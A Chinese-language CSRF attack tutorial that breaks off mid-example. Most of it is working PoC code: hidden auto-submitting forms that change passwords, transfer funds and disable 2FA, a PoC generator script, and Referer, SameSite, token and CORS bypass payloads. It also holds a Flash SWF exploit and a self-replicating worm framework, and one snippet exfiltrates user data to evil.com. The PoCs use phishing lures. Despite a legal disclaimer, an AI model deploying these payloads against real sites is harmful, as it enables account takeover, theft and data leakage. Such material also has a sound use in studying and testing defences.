欢迎光临
我们一直在努力

CSRF跨站请求伪造攻防实战:从原理到高级利用(2026全网最全指南)

前言与简介

跨站请求伪造(Cross-Site Request Forgery,CSRF)是Web安全领域最经典、也最容易被低估的漏洞类型之一。尽管OWASP早在十年前就将其列入十大Web安全威胁,Spring、Django、Laravel等主流框架也内置了防御机制,但在2026年的真实攻防场景中,CSRF漏洞依然大量存在。原因在于:微服务架构的普及导致API接口爆炸式增长、第三方系统集成的复杂化引入了新的跨域风险、SameSite Cookie属性在旧浏览器和跨子域场景下的局限、以及JSON API对CORS配置的误用,使得CSRF攻击面不但没有缩小,反而以更隐蔽的方式扩展。

根据2025年度的安全统计,在完成Web应用渗透测试的项目中,约18%的系统存在可利用的CSRF漏洞,其中金融、电商、SaaS平台是重灾区。攻击者利用CSRF可以在用户不知情的情况下,以受害者身份执行修改密码、转账、删除数据、变更权限配置等高危操作,直接导致账户接管和数据泄露。更危险的是,CSRF蠕虫(如Samy Worm的变体)可以实现自我传播,在数小时内感染数十万用户。

本文将系统讲解CSRF的基础原理、GET/POST/JSON/Multipart各类CSRF实战、绕过技术、Flash跨域利用、CSRF蠕虫设计、自动化工具、CSRF与XSS组合攻击、完整防御方案、检测测试方法以及靶场实战,帮助安全工程师从攻防双重视角全面掌握CSRF。

【提示】 本文所有技术内容(包括PoC、payload、脚本、配置)仅用于授权测试、安全学习和防御研究。未经授权对任何系统进行CSRF测试或攻击属于违法行为。请严格遵守《中华人民共和国网络安全法》《数据安全法》《个人信息保护法》及相关法律法规,在获得书面授权的前提下开展安全测试工作。在这里插入图片描述

一、CSRF基础原理

1.1 CSRF定义与危害

CSRF(Cross-Site Request Forgery),中文为"跨站请求伪造",是一种利用用户已认证身份,在用户不知情的情况下,诱使浏览器向目标网站发送恶意请求的攻击方式。攻击者并不需要获取用户的Cookie或密码,而是借助浏览器在用户登录后自动携带认证凭证的特性,让目标服务器误以为请求来自用户的真实意图。

CSRF的核心危害包括但不限于:

危害类型攻击场景影响程度典型案例
账户接管 修改密码、绑定邮箱、修改密保问题 严重 修改密码CSRF实现永久接管
资金损失 转账、支付、购买商品 严重 银行转账CSRF导致资金被盗
数据篡改 修改配置、删除文章、变更权限 高 管理员配置CSRF导致权限提升
信息泄露 利用CSRF触发API返回敏感数据 中 JSONP CSRF窃取用户信息
蠕虫传播 CSRF+XSS组合实现自我复制 极高 Samy Worm 24小时感染百万用户
业务破坏 删除账号、注销服务 高 批量注销用户账户

1.2 同源策略与Cookie机制

要理解CSRF,必须先理解浏览器的同源策略(Same-Origin Policy)和Cookie携带机制。

同源策略规定,脚本(JavaScript)只能访问与其自身同源的资源。同源由三个要素决定:协议(Scheme)、主机(Host)、端口(Port)。三者完全一致才算同源。但是,同源策略并不阻止浏览器发起跨域请求——它只限制脚本读取跨域响应。这意味着,攻击者可以在恶意页面中构造指向目标网站的请求,浏览器会正常发送这个请求。

关键在于Cookie的携带规则。浏览器在发送HTTP请求时,会根据Cookie的属性决定是否携带:

Cookie属性作用对CSRF的影响
Domain 指定Cookie的作用域域名 子域Cookie可被父域请求携带
Path 指定Cookie的作用路径 限制范围有限,可被绕过
Secure 仅HTTPS传输 无法防止CSRF,仅防嗅探
HttpOnly 禁止JavaScript访问 防XSS窃取Cookie,不防CSRF
SameSite 控制跨站Cookie携带 现代浏览器CSRF防御核心

【提示】 HttpOnly属性只能防止XSS通过JavaScript读取Cookie,对CSRF完全无效。因为CSRF不依赖读取Cookie,而是利用浏览器自动携带Cookie的特性。这是新手最常见的误解。

1.3 CSRF触发条件

CSRF攻击能够成功,需要同时满足以下三个条件:

条件编号触发条件说明防御切入点
条件1 用户已登录目标网站 浏览器中存在有效的认证Cookie 缩短会话有效期
条件2 服务端无二次验证 请求仅依赖Cookie认证,无Token/验证码 引入CSRF Token
条件3 Cookie自动携带 浏览器跨域请求时自动附带Cookie 配置SameSite属性

当这三个条件同时满足时,攻击者只需诱导用户访问一个恶意页面,该页面中的代码就会触发浏览器向目标网站发送携带用户Cookie的请求,服务端在无二次验证的情况下会执行该请求。

1.4 CSRF与XSS的区别

CSRF和XSS经常被放在一起讨论,但两者的攻击原理和防御方法完全不同:

对比维度CSRF(跨站请求伪造)XSS(跨站脚本攻击)
攻击原理 伪造用户请求,利用身份执行操作 注入恶意脚本,在用户浏览器执行
信任关系 利用服务端对用户身份的信任 利用用户对网站的信任
是否需要注入 不需要注入代码到目标站 需要将脚本注入目标页面
Cookie利用 不读取Cookie,利用自动携带 读取Cookie并发送到外部
核心危害 以用户身份执行操作 窃取数据、劫持会话、挂马
关键防御 CSRF Token、SameSite 输入过滤、输出编码、CSP
HttpOnly防御 无效 有效(防Cookie窃取)
利用前提 用户已登录 页面存在注入点

【提示】 XSS的威力通常大于CSRF,因为XSS可以在同源内执行任意操作,天然绕过同源策略和CSRF Token防御。如果系统存在XSS,CSRF防御(Token)通常会被直接绕过。因此安全建设中应优先修复XSS。

1.5 CSRF分类

根据请求类型和数据格式的不同,CSRF可分为以下几类:

CSRF类型请求方法Content-Type触发方式利用难度常见场景
GET型CSRF GET 无 img/iframe/script标签 低 修改密码、删除操作
POST型CSRF POST application/x-www-form-urlencoded 自动提交表单 低 表单提交、配置修改
JSON型CSRF POST application/json flash/form伪JSON 中高 RESTful API
Multipart型CSRF POST multipart/form-data 表单文件上传 中 文件上传接口
JSONP型CSRF GET application/javascript script标签回调 中 数据接口劫持

1.6 OWASP Top 10中的位置

在OWASP Top 10 2021中,CSRF被合并到A01:2021 – Broken Access Control(失效的访问控制)类别中。在更早的OWASP Top 10 2013中,CSRF单独列为第8项(A8-Cross-Site Request Forgery)。这一调整并不意味着CSRF威胁降低,而是反映了OWASP对访问控制类问题的整合归类思路。

OWASP版本CSRF位置类别说明
OWASP Top 10 2013 A8(独立) 跨站请求伪造作为独立类别
OWASP Top 10 2017 合并入A6 敏感数据暴露与安全配置错误
OWASP Top 10 2021 A01子项 归入失效的访问控制
OWASP API Top 10 2023 未直接列出 CSRF风险隐含在API访问控制中

二、GET型CSRF实战

2.1 GET型CSRF原理

GET型CSRF是最简单也最经典的CSRF形式。当敏感操作通过GET请求完成时(如修改密码、转账等),攻击者可以通过HTML标签自动发起GET请求,无需用户任何交互。

GET型CSRF的核心原理是:浏览器在加载HTML标签(如img、iframe、script、link)时,会自动向标签src或href属性指向的URL发起GET请求,并自动携带目标域的Cookie。

2.2 漏洞场景分析

以下场景如果通过GET请求执行敏感操作,就存在GET型CSRF:

场景漏洞URL示例危害
修改密码 http://bank.com/pwd?new=123456 账户接管
转账操作 http://bank.com/transfer?to=hacker&amount=10000 资金损失
删除文章 http://blog.com/delete?id=100 数据丢失
权限修改 http://admin.com/role?user=guest&role=admin 权限提升
邮箱绑定 http://app.com/email?addr=hacker@evil.com 账户劫持
配置修改 http://app.com/config?debug=true 安全降级

2.3 完整PoC构造

以下是GET型CSRF的各种PoC构造方式:

img标签方式(最常用,零交互):

<!– 修改密码CSRF PoC –>
<html>
<body>
<h1>恭喜您获得红包</h1>
<!– 用户打开页面后,img标签自动发送GET请求修改密码 –>
<img src="http://target.com/pwd/change?new_password=hacker123&confirm=hacker123" style="display:none;">
</body>
</html>

iframe方式(可隐藏整个请求过程):

<html>
<body>
<iframe src="http://target.com/transfer?to=attacker&amount=50000" style="display:none;" width="0" height="0"></iframe>
</body>
</html>

script标签方式(适用于JSONP接口):

<html>
<body>
<!– 利用script标签跨域加载,浏览器自动携带Cookie –>
<script src="http://target.com/api/delete?id=100"></script>
</body>
</html>

link标签方式(利用CSS预加载):

<html>
<head>
<!– link标签的prefetch也会触发GET请求 –>
<link rel="prefetch" href="http://target.com/config?debug=true">
</head>
</html>

多请求组合(一次页面加载触发多个CSRF):

<html>
<body>
<img src="http://target.com/pwd/change?new=hack123" style="display:none;">
<img src="http://target.com/email/bind?addr=hacker@evil.com" style="display:none;">
<img src="http://target.com/phone/unbind" style="display:none;">
</body>
</html>

2.4 自动化利用脚本

以下Python脚本用于批量生成GET型CSRF的PoC页面:

#!/usr/bin/env python3
"""
GET型CSRF PoC自动生成器
用法: python csrf_get_poc_gen.py -u <target_url> -o <output_file>
"""

import argparse
import urllib.parse
from html import escape

def generate_get_csrf_poc(target_url, action_name="敏感操作"):
"""生成GET型CSRF PoC页面"""
parsed = urllib.parse.urlparse(target_url)

poc_html = f"""<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>恭喜您获得优惠券</title>
<style>
body {{ font-family: Arial, sans-serif; text-align: center; padding: 50px; }}
.coupon {{ font-size: 24px; color: #e74c3c; margin: 20px; }}
</style>
</head>
<body>
<h1>恭喜您获得价值500元优惠券</h1>
<p class="coupon">正在为您领取,请稍候…</p>
<!– CSRF载荷:img标签自动发起GET请求 –>
<img src="
{escape(target_url)}" style="display:none;" alt="">
<!– 备用触发方式 –>
<iframe src="
{escape(target_url)}" style="display:none;" width="0" height="0"></iframe>
<script>
// 延迟再次触发,确保Cookie已加载
setTimeout(function() {{
var img = new Image();
img.src = "
{escape(target_url)}&_t=" + Date.now();
}}, 2000);
</script>
</body>
</html>"""

return poc_html

def main():
parser = argparse.ArgumentParser(description="GET型CSRF PoC生成器")
parser.add_argument("-u", "–url", required=True, help="目标漏洞URL")
parser.add_argument("-o", "–output", default="csrf_poc.html", help="输出文件名")
parser.add_argument("-n", "–name", default="敏感操作", help="操作名称")

args = parser.parse_args()

poc = generate_get_csrf_poc(args.url, args.name)

with open(args.output, "w", encoding="utf-8") as f:
f.write(poc)

print(f"[+] CSRF PoC已生成: {args.output}")
print(f"[+] 目标URL: {args.url}")
print(f"[+] 使用方法: 将 {args.output} 部署到任意Web服务器,诱导受害者访问")

if __name__ == "__main__":
main()

2.5 完整攻击流程

GET型CSRF的完整攻击流程如下:

步骤操作说明
1 信息收集 识别目标站点使用Cookie认证的敏感GET操作
2 漏洞确认 检查目标请求是否包含CSRF Token或二次验证
3 PoC构造 根据漏洞URL构造img/iframe等标签的恶意页面
4 部署页面 将恶意页面上传到攻击者控制的服务器
5 诱导访问 通过钓鱼邮件、社交媒体、即时通讯等渠道发送链接
6 触发请求 受害者打开页面后浏览器自动发送CSRF请求
7 验证结果 检查目标操作是否成功执行

三、POST型CSRF实战

3.1 POST型CSRF原理

当敏感操作使用POST方法提交时,GET型CSRF的img标签方式不再适用。因为img标签只能发起GET请求。此时攻击者需要构造一个自动提交的HTML表单,通过JavaScript在页面加载时自动提交POST请求到目标网站。

POST型CSRF的关键在于:浏览器在提交跨域表单时,会自动携带目标域的Cookie。虽然跨域表单提交的响应受同源策略限制无法被脚本读取,但请求本身会被服务端处理执行,这正是CSRF攻击所需要的。

3.2 表单自动提交技术

自动提交表单的核心技术:

// 方式1:页面加载后自动提交
window.onload = function() {
document.getElementById('csrf_form').submit();
};

// 方式2:使用submit事件,绕过部分检测
document.addEventListener('DOMContentLoaded', function() {
document.forms['csrf_form'].submit();
});

// 方式3:隐藏在iframe中,对用户完全透明
var iframe = document.createElement('iframe');
iframe.name = 'csrf_frame';
iframe.style.display = 'none';
document.body.appendChild(iframe);

var form = document.getElementById('csrf_form');
form.target = 'csrf_frame';
form.submit();

3.3 完整PoC构造

完整POST型CSRF PoC页面:

<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<title>系统维护通知</title>
</head>
<body>
<h2>系统升级中,请稍候…</h2>
<!– 隐藏的CSRF表单 –>
<form id="csrf_form" action="http://target.com/transfer" method="POST" target="hidden_frame">
<input type="hidden" name="to_account" value="attacker_6789">
<input type="hidden" name="amount" value="10000">
<input type="hidden" name="currency" value="CNY">
<input type="hidden" name="remark" value="系统维护">
</form>
<!– 隐藏iframe接收表单提交,避免页面跳转 –>
<iframe name="hidden_frame" style="display:none;" width="0" height="0"></iframe>
<script>
// 页面加载后自动提交表单
document.getElementById('csrf_form').submit();
</script>
</body>
</html>

修改密码场景的POST型CSRF:

<html>
<body>
<form id="pwd_form" action="http://target.com/api/password" method="POST" target="hide">
<input type="hidden" name="old_password" value="">
<input type="hidden" name="new_password" value="hacked123">
<input type="hidden" name="confirm_password" value="hacked123">
</form>
<iframe name="hide" style="display:none;"></iframe>
<script>document.getElementById('pwd_form').submit();</script>
</body>
</html>

3.4 多表单提交技巧

在复杂攻击场景中,可能需要在一个页面中提交多个CSRF请求,形成攻击链:

<!DOCTYPE html>
<html>
<head><title>页面加载中…</title></head>
<body>
<!– 表单1:先修改邮箱 –>
<form id="step1" action="http://target.com/email/change" method="POST" target="f1">
<input type="hidden" name="email" value="hacker@evil.com">
</form>
<iframe name="f1" style="display:none;"></iframe>

<!– 表单2:再修改密码 –>
<form id="step2" action="http://target.com/password/change" method="POST" target="f2">
<input type="hidden" name="new" value="hacked123">
</form>
<iframe name="f2" style="display:none;"></iframe>

<!– 表单3:最后关闭二次验证 –>
<form id="step3" action="http://target.com/2fa/disable" method="POST" target="f3">
<input type="hidden" name="confirm" value="true">
</form>
<iframe name="f3" style="display:none;"></iframe>

<script>
// 串行提交,每步间隔2秒确保前一步完成
document.getElementById('step1').submit();
setTimeout(() => document.getElementById('step2').submit(), 2000);
setTimeout(() => document.getElementById('step3').submit(), 4000);
</script>
</body>
</html>

3.5 完整利用流程

步骤操作关键技术
1 分析目标表单 抓包获取POST请求参数结构
2 确认无Token 检查请求中是否有CSRF Token字段
3 构造PoC表单 复制所有必填参数到隐藏表单
4 添加自动提交 JavaScript onload自动submit
5 隐藏提交结果 使用隐藏iframe作为target
6 部署诱导访问 钓鱼邮件或社交媒体投递

四、JSON/Multipart型CSRF

4.1 JSON CSRF原理与条件

随着RESTful API的普及,越来越多的敏感操作通过JSON请求完成。JSON型CSRF比传统表单CSRF难度更高,因为浏览器原生表单只能提交application/x-www-form-urlencoded或multipart/form-data格式的数据,无法直接设置Content-Type: application/json。

JSON CSRF成功的条件:

条件说明验证方法
Content-Type宽松 服务端不严格校验Content-Type 尝试表单格式提交JSON
接受form格式 服务端能解析表单格式的JSON参数 检查Content-Type协商
无Token 接口无CSRF Token验证 抓包检查请求头
Cookie认证 仅依赖Cookie进行身份认证 分析认证机制

4.2 JSON请求伪造技巧

方式1:form表单伪JSON(利用服务端不严格校验Content-Type):

<html>
<body>
<!– 通过表单提交,服务端可能按参数名解析JSON字段 –>
<form id="csrf" action="http://target.com/api/transfer" method="POST" enctype="text/plain">
<input type="hidden" name='{"to":"attacker","amount":10000,"test":"' value='ignored"}'>
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>

上述PoC利用了enctype="text/plain"的特性。当表单以text/plain编码提交时,浏览器发送的body格式为name=value。攻击者巧妙构造name和value,使其拼接后形成合法的JSON字符串。

方式2:利用2531技巧( exploitation of charset and encoding):

<html>
<body>
<form action="http://target.com/api/update" method="POST" enctype="text/plain">
<input type="hidden" name='{"name":"victim","role":"admin","padding":"' value='padding"}'>
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

实际发送的请求体为:

{"name":"victim","role":"admin","padding":"=padding"}

方式3:Flash跨域发送JSON(利用crossdomain.xml配置不当):

// ActionScript 3.0 – 需要目标站点存在宽松的crossdomain.xml
var request:URLRequest = new URLRequest("http://target.com/api/transfer");
request.method = URLRequestMethod.POST;
request.data = '{"to":"attacker","amount":50000}';
request.contentType = "application/json";

var loader:URLLoader = new URLLoader();
loader.load(request); // Flash自动携带Cookie

4.3 Multipart型CSRF原理与构造

Multipart型CSRF针对文件上传接口或使用multipart/form-data编码的表单。由于HTML原生表单支持multipart编码,所以Multipart CSRF的构造并不比普通POST CSRF难。

<html>
<body>
<!– Multipart CSRF:模拟文件上传操作 –>
<form id="csrf" action="http://target.com/api/avatar/upload" method="POST" enctype="multipart/form-data" target="hide">
<!– 构造文件名和内容 –>
<input type="hidden" name="desc" value="profile">
<!– 通过input type=file自动填充(需要用户交互或利用拖拽) –>
</form>
<iframe name="hide" style="display:none;"></iframe>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>

利用Canvas动态生成文件并上传的Multipart CSRF:

// 构造一个包含恶意内容的"文件"用于Multipart CSRF
function buildMultipartBody(fields, boundary) {
let body = '';
for (const [key, value] of Object.entries(fields)) {
body += '–' + boundary + '\\r\\n';
body += `Content-Disposition: form-data; name="${key}"\\r\\n\\r\\n`;
body += value + '\\r\\n';
}
body += '–' + boundary + '–\\r\\n';
return body;
}

// 利用fetch发送multipart请求(需要CORS支持或同域)
async function multipartCsrf(targetUrl, fields) {
const boundary = '—-csrf' + Math.random().toString(16).substr(2);
const body = buildMultipartBody(fields, boundary);

const response = await fetch(targetUrl, {
method: 'POST',
credentials: 'include', // 携带Cookie
headers: {
'Content-Type': `multipart/form-data; boundary=${boundary}`
},
body: body
});
return response;
}

4.4 完整利用Payload集

场景Content-TypePoC方式关键技巧
标准JSON API application/json Flash跨域 需crossdomain.xml允许
宽松JSON API text/plain form表单伪JSON enctype=text/plain
表单兼容JSON application/x-www-form-urlencoded 普通表单 服务端双格式解析
文件上传 multipart/form-data multipart表单 模拟文件字段
JSONP回调 application/javascript script标签 劫持回调函数

五、CSRF绕过技术

5.1 Token绕过方法

当目标系统使用了CSRF Token但实现存在缺陷时,可通过以下方法绕过:

绕过方法原理适用场景利用难度
删除Token 服务端Token为空时不校验 Token校验逻辑不严谨 低
参数污染 重复参数名绕过Token检查 旧框架解析差异 低
Token预测 Token可预测或使用时间戳 Token熵不足 中
跨子域复用 子域可获取父域Token 子域信任范围过大 中
Token固定 Token不过期可复用 Token未设置有效期 低
GET中传Token Token通过URL传递 Referer泄露Token 低

删除Token绕过示例:

# 测试服务端是否在Token为空时跳过校验
import requests

target_url = "http://target.com/api/transfer"
session = requests.Session()

# 先登录获取有效Cookie
session.get("http://target.com/login")
session.cookies.update({"session": "valid_session_cookie"})

# 尝试1:不带Token
resp1 = session.post(target_url, data={"to": "attacker", "amount": 1000})
print(f"无Token响应码: {resp1.status_code}")

# 尝试2:Token为空字符串
resp2 = session.post(target_url, data={
"to": "attacker", "amount": 1000, "csrf_token": ""
})
print(f"空Token响应码: {resp2.status_code}")

# 尝试3:Token字段名为null
resp3 = session.post(target_url, data={
"to": "attacker", "amount": 1000, "csrf_token": "null"
})
print(f"null字符串Token响应码: {resp3.status_code}")

5.2 Referer绕过

当目标系统通过检查Referer头来防御CSRF时,可通过以下方式绕过:

绕过方法原理PoC技巧
空Referer 部分配置在Referer为空时放行 使用<meta name="referrer" content="no-referrer">
子字符串匹配 Referer检查仅匹配关键词 注册包含关键词的域名
正则绕过 正则表达式不严谨 构造匹配的URL结构
协议绕过 仅检查https而放行http 使用http协议页面
子域绕过 检查允许子域通配 在受信任子域下部署PoC

空Referer绕过PoC:

<html>
<head>
<!– 禁止发送Referer –>
<meta name="referrer" content="no-referrer">
<!– 或者使用Referrer-Policy –>
<meta http-equiv="Referrer-Policy" content="no-referrer">
</head>
<body>
<form id="csrf" action="http://target.com/api/transfer" method="POST">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="5000">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>

子字符串匹配绕过示例:

假设服务端Referer检查逻辑为:if referer.contains("target.com"),攻击者可注册域名target.com.evil.com或使用evil.com/target.com路径:

<!– 部署在 target.com.evil.com 上 –>
<form action="http://target.com/api/transfer" method="POST">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="5000">
</form>

协议绕过PoC:

<!– 当服务端仅检查Referer是否以https开头或包含target.com时 –>
<!– 使用data: URI或about:blank使Referer为空或特殊值 –>
<iframe src="data:text/html,<form action='http://target.com/api/delete' method='POST'><input type='hidden' name='id' value='100'><input type='submit'></form><script>document.forms[0].submit()</script>"></iframe>

5.3 SameSite Cookie绕过

SameSite属性是现代浏览器的CSRF防御机制,但也存在绕过空间:

SameSite值行为绕过方法
None 任何跨站请求都携带Cookie 无需绕过
Lax 仅顶层导航GET请求携带Cookie 利用顶层导航GET方式
Strict 完全不携带跨站Cookie 子域利用/XSS辅助
未设置 新版浏览器默认Lax 同Lax绕过

SameSite=Lax绕过(利用顶层导航):

<!– SameSite=Lax允许顶层导航的GET请求携带Cookie –>
<!– 利用window.location或a标签跳转 –>
<html>
<body>
<a id="csrf_link" href="http://target.com/transfer?to=attacker&amount=5000">点击领取红包</a>
<script>
// 自动模拟用户点击,触发顶层导航GET请求
document.getElementById('csrf_link').click();
</script>
</body>
</html>

跨子域利用(当Cookie Domain设为父域时):

# 如果Cookie的Domain设置为.example.com
# 那么attacker.example.com可以读取并利用该Cookie

# 攻击者在attacker.example.com部署CSRF页面
# 由于是同父域的子域,Cookie会被携带
csrf_poc = """
<html>
<body>
<form action="http://app.example.com/api/transfer" method="POST">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="5000">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
"""

5.4 CORS绕过与CSRF组合

当目标站点CORS配置不当时,攻击者可以利用CORS结合CSRF实现更强大的攻击:

// 利用CORS配置中的null Origin绕过
// 服务端可能允许Origin: null
// 攻击者通过iframe sandbox构造null Origin

var iframe = document.createElement('iframe');
// sandbox属性会使Origin变为null
iframe.sandbox = 'allow-scripts allow-forms';
iframe.src = 'data:text/html,' + encodeURIComponent(`
<html>
<body>
<form id="f" action="http://target.com/api/transfer" method="POST">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('f').submit();</script>
</body>
</html>
`
);
document.body.appendChild(iframe);

利用CORS通配符配合CSRF读取响应:

// 如果目标CORS配置为 Access-Control-Allow-Origin: *
// 且允许credentials(虽然浏览器规范禁止*与credentials同用)
// 但某些自定义实现可能存在缺陷

// 正常CSRF无法读取响应,但如果CORS配置允许特定子域
// 攻击者可以在允许的子域上发起fetch请求并读取响应
fetch('http://target.com/api/userinfo', {
credentials: 'include',
headers: { 'Content-Type': 'application/json' }
}).then(r => r.json()).then(data => {
// 如果CORS允许,攻击者可以读取CSRF请求的响应
console.log('窃取的数据:', JSON.stringify(data));
// 将数据外传
new Image().src = 'http://evil.com/collect?data=' + encodeURIComponent(JSON.stringify(data));
});

5.5 完整绕过Payload集

绕过类型目标防御绕过Payload适用条件
Token删除 Token非空校验 移除csrf_token参数 服务端空值跳过
Token复用 Token有效期过长 使用上一次有效Token Token不过期
空Referer Referer非空校验 meta referrer no-referrer 空值放行
子串Referer contains检查 target.com.evil.com 关键词匹配
Lax绕过 SameSite=Lax a标签顶层GET导航 GET型敏感操作
子域信任 Domain=父域 子域部署PoC Cookie Domain宽松
null Origin CORS null允许 iframe sandbox null白名单
方法覆盖 仅POST校验 X-HTTP-Method-Override 方法覆盖支持

六、Flash CSRF与跨域利用

6.1 Flash跨域请求原理

Adobe Flash(已停止支持,但在内网和旧系统中仍可能存在)提供了一种绕过浏览器同源策略的机制。Flash可以通过URLRequest对象发送任意Content-Type的跨域请求,前提是目标域名的根目录下存在crossdomain.xml文件并授权了攻击者的域。

Flash跨域请求的流程:

步骤操作说明
1 Flash加载 攻击者页面加载Flash SWF文件
2 策略请求 Flash自动请求目标域的crossdomain.xml
3 策略解析 Flash解析XML中的域白名单
4 跨域请求 如果授权通过,Flash发送请求并携带Cookie
5 响应读取 Flash可以读取跨域响应数据

6.2 crossdomain.xml安全配置分析

以下是常见的crossdomain.xml配置及其安全风险:

<!– 危险配置1:允许所有域(通配符) –>
<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*"/>
</cross-domain-policy>
<!– 风险:任何网站都可以通过Flash发起携带Cookie的跨域请求 –>

<!– 危险配置2:允许所有子域通配 –>
<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*.example.com"/>
</cross-domain-policy>
<!– 风险:如果存在可被攻击者控制的子域,则可被利用 –>

<!– 安全配置:精确域名白名单 –>
<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="trusted.example.com" secure="true"/>
<allow-access-from domain="app.example.com" secure="true"/>
<!– 不使用通配符,且secure=true要求HTTPS –>
</cross-domain-policy>

<!– 危险配置3:允许HTTP域 –>
<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*.example.com" secure="false"/>
</cross-domain-policy>
<!– 风险:secure=false允许HTTP明文传输,可被中间人利用 –>

6.3 Flash CSRF利用方法

完整的Flash CSRF利用SWF代码(ActionScript 3.0):

// CSRFAttack.as – 编译为SWF后嵌入攻击页面
package {
import flash.display.Sprite;
import flash.net.URLRequest;
import flash.net.URLRequestMethod;
import flash.net.URLLoader;
import flash.net.URLVariables;

public class CSRFAttack extends Sprite {
public function CSRFAttack() {
sendCSRF();
}

public function sendCSRF():void {
var request:URLRequest = new URLRequest("http://target.com/api/transfer");
request.method = URLRequestMethod.POST;

// 设置JSON Content-Type(表单无法做到的)
request.contentType = "application/json";

// JSON请求体
request.data = '{"to_account":"attacker","amount":50000,"currency":"CNY"}';

var loader:URLLoader = new URLLoader();
loader.load(request); // Flash自动携带目标域Cookie
}
}
}

嵌入HTML页面:

<html>
<body>
<object type="application/x-shockwave-flash" data="CSRFAttack.swf" width="1" height="1">
<param name="movie" value="CSRFAttack.swf">
<param name="allowScriptAccess" value="always">
</object>
</body>
</html>

6.4 Silverlight跨域利用

Silverlight使用类似的跨域策略文件clientaccesspolicy.xml:

<!– clientaccesspolicy.xml – Silverlight跨域策略 –>
<?xml version="1.0" encoding="utf-8"?>
<access-policy>
<cross-domain-access>
<policy>
<allow-from>
<!– 危险:通配符允许所有来源 –>
<domain uri="*"/>
</allow-from>
<grant-to>
<resource path="/" include-subpaths="true"/>
</grant-to>
</policy>
</cross-domain-access>
</access-policy>

6.5 完整利用流程

步骤操作工具/方法
1 探测crossdomain.xml 访问/crossdomain.xml
2 分析策略文件 检查域白名单是否宽松
3 编写Flash载荷 ActionScript编写CSRF SWF
4 编译SWF flex SDK或Flash IDE
5 嵌入攻击页面 HTML object标签嵌入
6 诱导访问 钓鱼投递恶意页面

七、CSRF Worm蠕虫

7.1 CSRF蠕虫原理

CSRF蠕虫是CSRF攻击的最高级形式,它结合了CSRF和自我传播机制,能够在无需用户交互的情况下自动感染并传播。最著名的案例是2005年的Samy Worm,它在20小时内感染了超过100万MySpace用户。

CSRF蠕虫的核心原理是:利用一个XSS或CSRF漏洞,向受害者的账户注入恶意内容(如发帖、留言、修改个人资料),该恶意内容中包含CSRF PoC,当其他用户访问受害者的页面时,又会被感染,形成指数级传播。

7.2 蠕虫传播设计

传播阶段操作技术实现
初始感染 攻击者首次植入蠕虫载荷 XSS或CSRF修改个人资料
载荷执行 受害者访问被感染页面 页面中的JS自动执行CSRF
自我复制 以受害者身份传播蠕虫 CSRF修改受害者资料/发帖
指数传播 新受害者继续感染他人 蠕虫代码自动传播

7.3 XSS+CSRF组合蠕虫

以下是一个CSRF蠕虫的理论框架代码(仅用于安全研究教学):

/*
* CSRF蠕虫框架(教学用途)
* 此代码仅演示蠕虫传播逻辑结构
* 不包含可执行的真实攻击载荷
*/

class CSRFWorm {
constructor(config) {
this.targetSite = config.targetSite; // 目标站点
this.propagateAPI = config.propagateAPI; // 传播API(发帖/改资料)
this.payloadField = config.payloadField; // 载荷注入字段
this.wormCode = this.generateWormCode(); // 蠕虫自身代码
}

// 生成蠕虫自身的CSRF PoC
generateCSRFPoC() {
// 构造自动提交的表单
var form = document.createElement('form');
form.action = this.targetSite + this.propagateAPI;
form.method = 'POST';
form.target = 'hidden_frame';

// 注入蠕虫载荷到目标字段
var input = document.createElement('input');
input.type = 'hidden';
input.name = this.payloadField;
input.value = this.wormCode;
form.appendChild(input);

// 隐藏iframe
var iframe = document.createElement('iframe');
iframe.name = 'hidden_frame';
iframe.style.display = 'none';
document.body.appendChild(iframe);

// 自动提交
document.body.appendChild(form);
form.submit();
}

// 生成蠕虫代码(自我复制)
generateWormCode() {
// 蠕虫代码包含:
// 1. CSRF PoC生成逻辑
// 2. 载荷注入逻辑
// 3. 传播触发逻辑
return '<script>' + this.constructor.toString() + '</script>';
}

// 执行感染
infect() {
// 1. 以当前用户身份执行敏感操作
// 2. 将蠕虫代码注入到用户资料/帖子中
// 3. 等待其他用户访问
this.generateCSRFPoC();
}
}

// 蠕虫执行入口
var worm = new CSRFWorm({
targetSite: 'http://target-site.com',
propagateAPI: '/api/profile/update',
payloadField: 'signature'
});
worm.infect();

7.4 蠕虫传播数学模型

CSRF蠕虫的传播速度可以用SIR传染病模型近似:

参数含义典型值
S 易感人群(未感染用户) 初始为总用户数N
I 已感染用户 初始为1
R 已恢复/免疫用户 初始为0
beta 感染率(每次访问被感染概率) 0.1-0.5
gamma 恢复率(被修复概率) 0.01-0.1

【提示】 根据SIR模型,当beta > gamma时蠕虫会爆发式传播。Samy Worm的beta约为0.2,在20小时内从1个感染源传播到100万用户。防御关键在于降低beta(修复CSRF漏洞)和提高gamma(快速响应和修复)。

八、CSRF自动化工具

8.1 Burp Suite CSRF检测

Burp Suite是CSRF测试最常用的工具,其内置了CSRF POC生成器:

Burp功能用途使用位置
CSRF POC Generator 自动生成CSRF PoC 右键菜单 -> Engagement tools -> Generate CSRF POC
Engagement Tools 生成各种攻击PoC 右键菜单 -> Engagement tools
Repeater 手动修改请求测试Token 修改请求重发
Intruder 批量测试Token有效性 设置payload字典
Scanner Pro 自动扫描CSRF漏洞 Active Scan
Logger++ 记录所有请求响应 扩展插件

Burp生成CSRF POC的操作流程:

  • 在Burp Proxy中捕获目标请求
  • 右键选择"Engagement tools" ->“Generate CSRF POC”
  • Burp自动生成包含表单和自动提交脚本的HTML
  • 在弹出的窗口中点击"Test in browser"
  • 复制生成的URL在已登录目标站点的浏览器中打开
  • 验证CSRF是否成功执行
  • Burp生成的CSRF POC示例:

    <html>
    <!– CSRF PoC – generated by Burp Suite –>
    <body>
